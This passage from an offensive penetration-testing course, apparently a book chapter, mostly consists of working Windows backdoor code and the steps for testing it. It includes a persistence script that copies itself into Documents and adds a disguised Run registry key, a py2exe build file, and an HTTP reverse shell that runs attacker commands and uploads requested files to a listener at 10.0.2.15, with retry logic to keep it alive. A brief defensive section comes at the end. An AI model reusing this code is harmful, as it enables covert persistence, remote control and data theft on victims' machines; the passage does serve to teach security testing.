# Python For Offensive PenTest: A Complete Practical Course - All rights reserved # Follow me on LinkedIn https://jo.linkedin.com/in/python2 # Persistence import os # needed for getting working directory import shutil # needed for file copying import subprocess # needed for getting user profile import _winreg as wreg # needed for editing registry DB # Reconn Phase path = os.getcwd().strip('/n') #Get current working directory where the backdoor gets executed, we use the output to build our source path Null,userprof = subprocess.check_output('set USERPROFILE', shell=True).split('=') #Get USERP ROFILE which contains the username of the profile and store it in userprof variable , we use the output to build our destination path #Other way to discover the userprofile is via os.getenv('userprofile') , both will give the same result destination = userprof.strip('\n\r') + '\\Documents\\' +'putty.exe' #build the destination path where we copy your backdoor - in our example we choosed C:\Users\<UserName>\Documents\ # First and Second Phases if not os.path.exists(destination): # this if statement will be False next time we run the script because our putty.exe will be already copied in destination #First time our backdoor gets executed #Copy our Backdoor to C:\Users\<UserName>\Documents\ shutil.copyfile(path+'\putty.exe', destination) key = wreg.OpenKey(wreg.HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run",0, wreg.KEY_ALL_ACCESS) wreg.SetValueEx(key, 'RegUpdater', 0, wreg.REG_SZ,destination) key.Close() #create a new registry string called RegUpdater pointing to our #new backdoor path (destination) #If the script worked fine, out putty.exe should be copied to C:\Users\<UserName>\Documents\ and a new registry key called 'RegUpdater' should be created #and pointing to C:\Users\<UserName>\Documents\putty.exe
The os.getcwd()
function will get the current working directory for us.
Now, on the Desktop
we make a folder named Persistence
with the putty.exe
that we downloaded for this section and the Presistance.py
script shown previously.
Let's see the output of the os.getcwd()
line using the Python interactive shell or the Python interactive window:
- Open Command Prompt and navigate to the current working directory, which is Persistence. Start a Python interactive mode.
- Execute
import os
andprint os.getcwd()
.
- We get the current working directory here for our script. This result will be stored on the path variable:

Looking back into the Persistence.py
script, we invoke set USERPROFILE
into the subprocess and use this step to grab the USERPROFILE
name. Based on this, we can build our destination path, which is the Documents
folder.
Enter the preceding set USERPROFILE
variable into the Command Prompt. The output will be a little noisy, so we will split the output and store the second part in a variable called userprof
. The splitting criterion or parameter is based on the =
sign. Based on this, we will split the output into two sections. The second section will be stored in a variable called userprof
. Once we know this information, we can build our destination path, which is the Documents
folder.
We append Documents
and the putty.exe
string to have the destination's absolute path. Notice that the <UserName>
here is not unknown anymore. At this point, we have accomplished our reconnaissance phase successfully. Moving on to check whether it's the first time that we have landed on this computer, we'll do this trick via an OS function called path.exists()
. If putty.exe
does not exist in the Documents
folder, this means that it is the first time we are running our script here because the next time PuTTY will be copied, and the result of this if
statement, if not os.path.exists(destination):
, will be false
. Since this is our first time, we will copy putty.exe
, which is the source variable.
Next, we will add a registry key in the user space. Note that we used a user space, not a machine space, on purpose. By using the user space, our script will work, even if we don't have admin privileges. We've named the registry key string RegUpdater
(you can change it later to anything else) and point its value to our final destination. Here, we don't have a shell; it's just putty.exe
. So, this part will be discussed in the next section. Before running this script, let's verify that we've got nothing in the registry database related to our script. Go to the Registry Editor
by searching regedit
at Windows Start, and our path will be Computer\HKEY_CURRENT_USER|Software\Microsoft\Windows\CurrentVersion\Run
, as shown at the bottom of the following screenshot, which doesn't have anything in it now other than the (Default)
entry:

Now, navigate to the Documents
folder and ensure that there is nothing left to be done. Lastly, make sure that the PuTTY software itself is functional by opening it directly.
We'll run the script right now. If we do not get an exception or error, we'll verify the database of the registry. You'll notice that we've got our registry key pointing to this directory in Documents
and also PuTTY has been copied to the Documents
directory:

Now, close everything and restart VirtualBox. Once we boot our machine, if everything is working fine, we should see that putty.exe
has been executed and the PuTTY window should pop up.
In the next section, we will make our HTTP reverse shell more intelligent and perform all of these steps within a built-in function.
In this section, we will make our HTTP reverse shell, which we coded earlier. Then, we will export it to EXE, and give it a try and test it. Now, almost all of the hard work is done already and at this point you should be familiar with every part of the code.
So for a quick recap, what we've done here is change putty.exe
to Persistence.exe
, which will be our EXE filename. The destination part will be the same, that is, the Documents
folder. Finally, we start our HTTP reverse shell as usual.
The setup file here will be as follows:
# py2exe download link: http://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/ # Persistence Setup from distutils.core import setup import py2exe , sys, os sys.argv.append("py2exe") setup( options = {'py2exe': {'bundle_files': 1}}, windows = [{'script': "Persistence.py"}], zipfile = None, )
Let's try and export this code to EXE and the name here will be Persistence
. Once it's done, it should be in the dist
folder. Now, we will test it on a non-admin account just to show that no part on our shell requires admin privileges:
- From
Control Panel
, create a standard user. - Create a quick password.
- Copy the persistence file to
C:
; so we can grab that file from the nonstandard user once we log in to that account. - Log off and log in with the new standard account.
- Find the
Persistence
file and copy it on the desktop. - As usual, before running that shell, verify that we've got nothing in the registry database. This also applies for the
Documents
folder. - Set up our listener on the Kali side, that is, run our HTTP server.
- Once done, notice that the registry key has been added successfully and at the end our file was able to find out the username and copy itself to the
Documents
folder successfully.
- Let's verify that our shell is working as expected. Start the
Task Manager
on the Windows machine. - Let's start by running
ping 10.0.2.15
at the server side, which is the IP address of the Kali machine. - Check the
arp
table on the Windows side witharp -a
and ensure that these commands are working fine. - After successfully terminating the process, we will delete the
Persistence.exe
file assuming that our target has deleted the shell file and restarted the client machine. - Log in again and, if you can see the shell on the Kali machine, we've been successful with our task.
In all our previous sections, we have assumed that the attacker and the target machine are in sync with time. This means that our server was up and listening all the time. Now, the question is: What happens if the attacker machine was offline for some reason or the connection did not happen properly? Well, our backdoor on the client side will crash and at the same time give a pop up as an error message and dump a text file indicating an exception error.
Currently, our Kali machine is not listening on any port. So, if the attacker initiates a TCP SYN to make a connection with us, now, since the port is closed, our Kali machine will reply with a TCP RST. Now, let's have a quick look at the packet level:
- Enable Wireshark on the attacker machine by executing
sudo wireshark
and you can see that our script is not running there - Start a new live capture
- Set the filter to TCP
- Log in on the Windows machine
- Since we are not listening to port
80
, we are replying withTCP RST
, as you can see in the following screenshot:

Also, on the target side, our script will crash and throws away an exception or log message. Navigate to the log file and you'll see that it says connection aborted because the target machine actively refused it, as shown in the following screenshot:

Log in with the admin
account, where we have the Python compiler. So we'll fix this issue by creating an infinite loop with an exception handler, as shown here:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved # Follow me on LinkedIn https://jo.linkedin.com/in/python2 # Tunning import os import shutil import subprocess import _winreg as wreg import requests import time ... #Last phase is to start a reverse connection back to our kali machine import random def connect(): while True: req = requests.get('http://10.0.2.15') command = req.text if 'terminate' in command: return 1 elif 'grab' in command: grab,path=command.split('*') if os.path.exists(path): url = 'http://10.0.2.15/store' files = {'file': open(path, 'rb')} r = requests.post(url, files=files) else: post_response = requests.post(url='http://10.0.2.15', data= '[-] Not able to find the file !' ) else: CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) post_response = requests.post(url='http://10.0.2.15', data=CMD.stdout.read() ) post_response = requests.post(url='http://10.0.2.15', data=CMD.stderr.read() ) time.sleep(3) while True: try: if connect()==1: break except: sleep_for = random.randrange(1,10) time.sleep( sleep_for ) #time.sleep( sleep_for ) #sleep for a random time between 1-10 minutes pass
As you can see, a new function called connect()
is added to the script. So, using an exception handler, whatever the reason may be, if we get an exception for initiating the connection, we'll sleep for some random time between 1 to 10 seconds, and then try to connect again. In a real-world scenario, you've got to be more patient and make it from 1 to 10 minutes. In the end, we pass the exception instead of raising it here. Now, the question is: How to terminate the process, as we have two infinite loops? Since the single break command won't do the job for us, the trick here is, if we terminate, then we will break the whole function and retain a value of 1
. And if the connection function retains the value of 1
, then we will break the second loop, which will terminate the process eventually.
Now, let's quickly try and test this modification:
- As we've done earlier, export the script to EXE
- Ensure that the
Documents
folder and the registry key are empty - Double-click on
Persistence.exe
from thedist
folder and run the script
And once we run our script here, notice that the target keeps trying to reach us until we run our server and the connection attempts here will be anywhere between 1 to 10 seconds, as shown in the following screenshot:

Now, once we start our listener on the server side, we have completed three-way handshakes and got the GET
request from our target, as shown in the following screenshot:

Check whether the registry key is there and whether the script has copied itself to Documents
. So, the last thing to test is whether the termination process is working or not. Ping 10.0.2.15
and perform a terminate
. You can see that Persistence.exe
is gone from the Windows Task Manager.
As we have explained earlier, We created a shell by creating a subprocess and passing the commands to this subprocess. Now, the point is that some commands cannot work properly using this technique, such as the cls
and clear
commands, both of which will not work in a shell. Now, for instance, let's say that we were able to get a shell to the client PC and later on we discovered some kind of Telnet or FTP server connected on the same internal network. Unfortunately, we cannot use the built-in Telnet client in the operating system from our shell and this is because once we do so, the server will prompt us with a username and password; this is called the interactive method and the shell will fail to handle these types of interaction.
One solution is to use a special Python library called Pexpect. Pexpect allows your script to interact with an application just as if a human were typing these commands. Now, last but not least, always test the command locally in a VirtualBox before sending it to your target.
There are couple of points to mention here. First, we have a problem with clear text. Now, all our traffic and file transfer was in clear text. This means that any IPS or network analyzer will easily pick up our commands and may block that connection or at least raise a flag to the system or the SOC team. Now, in Chapter 4, Catch Me If You Can!, we will address this point by building a custom XOR encryption to encrypt all our traffic between the attacker and the target machine.
The second point is: What if the hacker IP address was dynamically changed? Let's say that the hacker is behind an ADSL or a proxy, where each time he connects to the internet his IP address will change. Remember that we configured our target to connect to a fixed IP address and eventually the connection will fail since that IP address will not be valid anymore.
In this section, we will see how we can protect ourselves from the attacks we explained in this chapter. Now, if we think about it for a second: How could the attacker reach our internal host to begin with? Well, we rely on a social engineering attack along with a client-side attack to make it happen. The main key defense here is to start by securing people as they are the weakest points in the whole system. So you've got to start securing your staff on a regular basis with some management enforcement. Next, you should never rely on antivirus software, a sandbox, or VMware, as modern malware has built-in mechanisms to protect itself from being detected. Also, you should stay away from any suspicious software, especially cracked files. Before you install any software,if it was a legitimate software, verify file integrity using MD5 or the sha1 algorithm. If possible, use Data Leaking Prevention (DLP) to detect any file transfer on the endpoint or in the network transit path. Also, as a best practice, you can install something called Host-Based Intrusion Detection System (HIDS) to collect the operating system logs and notice any modification that is happening on the operating system logs. If possible, create a whitelist, and limit which process is allowed to run on the operating system. During the security awareness session, always inform nontechnical people to report any phishing email or suspicious files to the network security team or to the security operator or analyst.
In this chapter, we started by preparing our attacker and target machines, and then proceeded to learn and code TCP and an HTTP reverse shell. For each of these reverse shells, we looked into data exfiltration and exporting the Python script into .exe
, which made the attack independent of the Python compiler. We learned how to make the connection persistent. We also looked into tuning connection attempts and countermeasures to prevent the attacks we learned about.
In the next chapter, we'll cover DDNS, interactive Twitter, countermeasures, replicating Metasploit screen capturing, target directory navigation, and integrating low-level port scanners.